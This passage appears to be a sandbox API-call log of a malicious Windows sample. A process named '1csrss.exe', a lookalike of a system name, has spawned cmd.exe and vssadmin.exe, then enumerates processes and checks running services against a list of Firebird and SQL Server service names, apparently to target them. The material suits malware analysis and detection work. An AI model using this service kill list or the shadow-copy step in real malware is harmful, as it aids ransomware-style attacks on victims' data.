[0281.453] lstrlenW (lpString="dwm.exe") returned 7 [0281.453] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.453] lstrlenW (lpString="svchost.exe") returned 11 [0281.453] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.454] lstrlenW (lpString="svchost.exe") returned 11 [0281.454] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.455] lstrlenW (lpString="svchost.exe") returned 11 [0281.455] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.455] lstrlenW (lpString="svchost.exe") returned 11 [0281.455] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.456] lstrlenW (lpString="svchost.exe") returned 11 [0281.456] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.457] lstrlenW (lpString="svchost.exe") returned 11 [0281.457] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.457] lstrlenW (lpString="svchost.exe") returned 11 [0281.457] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.458] lstrlenW (lpString="svchost.exe") returned 11 [0281.458] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.459] lstrlenW (lpString="svchost.exe") returned 11 [0281.459] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.459] lstrlenW (lpString="svchost.exe") returned 11 [0281.459] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0281.460] lstrlenW (lpString="spoolsv.exe") returned 11 [0281.460] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0281.461] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0281.461] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0281.461] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0281.462] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0281.462] lstrlenW (lpString="Memory Compression") returned 18 [0281.462] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.463] lstrlenW (lpString="svchost.exe") returned 11 [0281.463] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0281.464] lstrlenW (lpString="audiodg.exe") returned 11 [0281.464] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0281.464] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0281.464] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0281.465] lstrlenW (lpString="sihost.exe") returned 10 [0281.465] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.465] lstrlenW (lpString="svchost.exe") returned 11 [0281.466] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0281.466] lstrlenW (lpString="taskhostw.exe") returned 13 [0281.466] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0281.467] lstrlenW (lpString="msoia.exe") returned 9 [0281.467] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0281.468] lstrlenW (lpString="explorer.exe") returned 12 [0281.468] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0281.468] lstrlenW (lpString="SearchUI.exe") returned 12 [0281.468] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0281.469] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0281.469] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0281.470] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0281.470] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0281.470] lstrlenW (lpString="1csrss.exe") returned 10 [0281.470] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.471] lstrlenW (lpString="svchost.exe") returned 11 [0281.471] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0281.472] lstrlenW (lpString="cmd.exe") returned 7 [0281.472] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0281.473] lstrlenW (lpString="conhost.exe") returned 11 [0281.473] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0281.474] lstrlenW (lpString="vssadmin.exe") returned 12 [0281.474] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0281.474] CloseHandle (hObject=0x4a4) returned 1 [0281.475] Sleep (dwMilliseconds=0x1f4) [0282.084] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddd18 [0282.085] EnumServicesStatusExW (in: hSCManager=0x7ddd18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0282.089] GetLastError () returned 0xea [0282.089] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1ca4) returned 0x7d5978 [0282.089] EnumServicesStatusExW (in: hSCManager=0x7ddd18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7d5978, cbBufSize=0x1ca4, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7d5978, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0282.090] CloseServiceHandle (hSCObject=0x7ddd18) returned 1 [0282.091] lstrlenW (lpString="AppXSvc") returned 7 [0282.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0282.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0282.091] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0282.091] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0282.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0282.091] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0282.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0282.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0282.091] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0282.091] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0282.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0282.091] lstrlenW (lpString="Audiosrv") returned 8 [0282.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0282.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0282.091] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0282.091] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0282.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0282.091] lstrlenW (lpString="BFE") returned 3 [0282.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0282.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0282.091] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0282.091] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0282.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0282.091] lstrlenW (lpString="BITS") returned 4 [0282.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0282.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0282.091] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0282.091] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0282.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0282.092] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0282.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0282.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0282.092] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0282.092] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0282.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0282.092] lstrlenW (lpString="CDPSvc") returned 6 [0282.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0282.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0282.092] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0282.092] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0282.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0282.092] lstrlenW (lpString="ClickToRunSvc") returned 13 [0282.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0282.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0282.092] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0282.092] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0282.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0282.092] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0282.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0282.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0282.092] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0282.092] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0282.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0282.092] lstrlenW (lpString="CryptSvc") returned 8 [0282.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0282.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0282.093] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0282.093] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0282.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0282.093] lstrlenW (lpString="DcomLaunch") returned 10 [0282.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0282.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0282.093] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0282.093] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0282.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0282.093] lstrlenW (lpString="DeviceAssociationService") returned 24 [0282.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0282.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0282.093] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0282.093] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0282.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0282.093] lstrlenW (lpString="Dhcp") returned 4 [0282.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0282.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0282.093] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0282.093] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0282.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0282.093] lstrlenW (lpString="Dnscache") returned 8 [0282.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0282.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0282.093] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0282.093] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0282.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0282.093] lstrlenW (lpString="DPS") returned 3 [0282.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0282.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0282.093] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0282.094] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0282.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0282.094] lstrlenW (lpString="DusmSvc") returned 7 [0282.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0282.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0282.094] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0282.094] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0282.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0282.094] lstrlenW (lpString="EventLog") returned 8 [0282.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0282.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0282.094] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0282.094] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0282.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0282.094] lstrlenW (lpString="EventSystem") returned 11 [0282.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0282.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0282.094] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0282.094] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0282.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0282.094] lstrlenW (lpString="FontCache") returned 9 [0282.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0282.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0282.094] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0282.094] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0282.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0282.094] lstrlenW (lpString="gpsvc") returned 5 [0282.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0282.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0282.094] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0282.094] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0282.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0282.094] lstrlenW (lpString="iphlpsvc") returned 8 [0282.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0282.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0282.095] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0282.095] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0282.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0282.095] lstrlenW (lpString="KeyIso") returned 6 [0282.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0282.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0282.095] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0282.095] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0282.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0282.095] lstrlenW (lpString="LanmanServer") returned 12 [0282.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0282.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0282.095] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0282.095] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0282.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0282.095] lstrlenW (lpString="LanmanWorkstation") returned 17 [0282.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0282.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0282.095] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0282.095] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0282.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0282.095] lstrlenW (lpString="lfsvc") returned 5 [0282.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0282.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0282.095] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0282.095] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0282.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0282.096] lstrlenW (lpString="lmhosts") returned 7 [0282.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0282.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0282.096] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0282.096] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0282.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0282.096] lstrlenW (lpString="LSM") returned 3 [0282.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0282.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0282.096] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0282.096] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0282.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0282.096] lstrlenW (lpString="MpsSvc") returned 6 [0282.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0282.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0282.096] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0282.096] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0282.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0282.096] lstrlenW (lpString="NcbService") returned 10 [0282.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0282.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 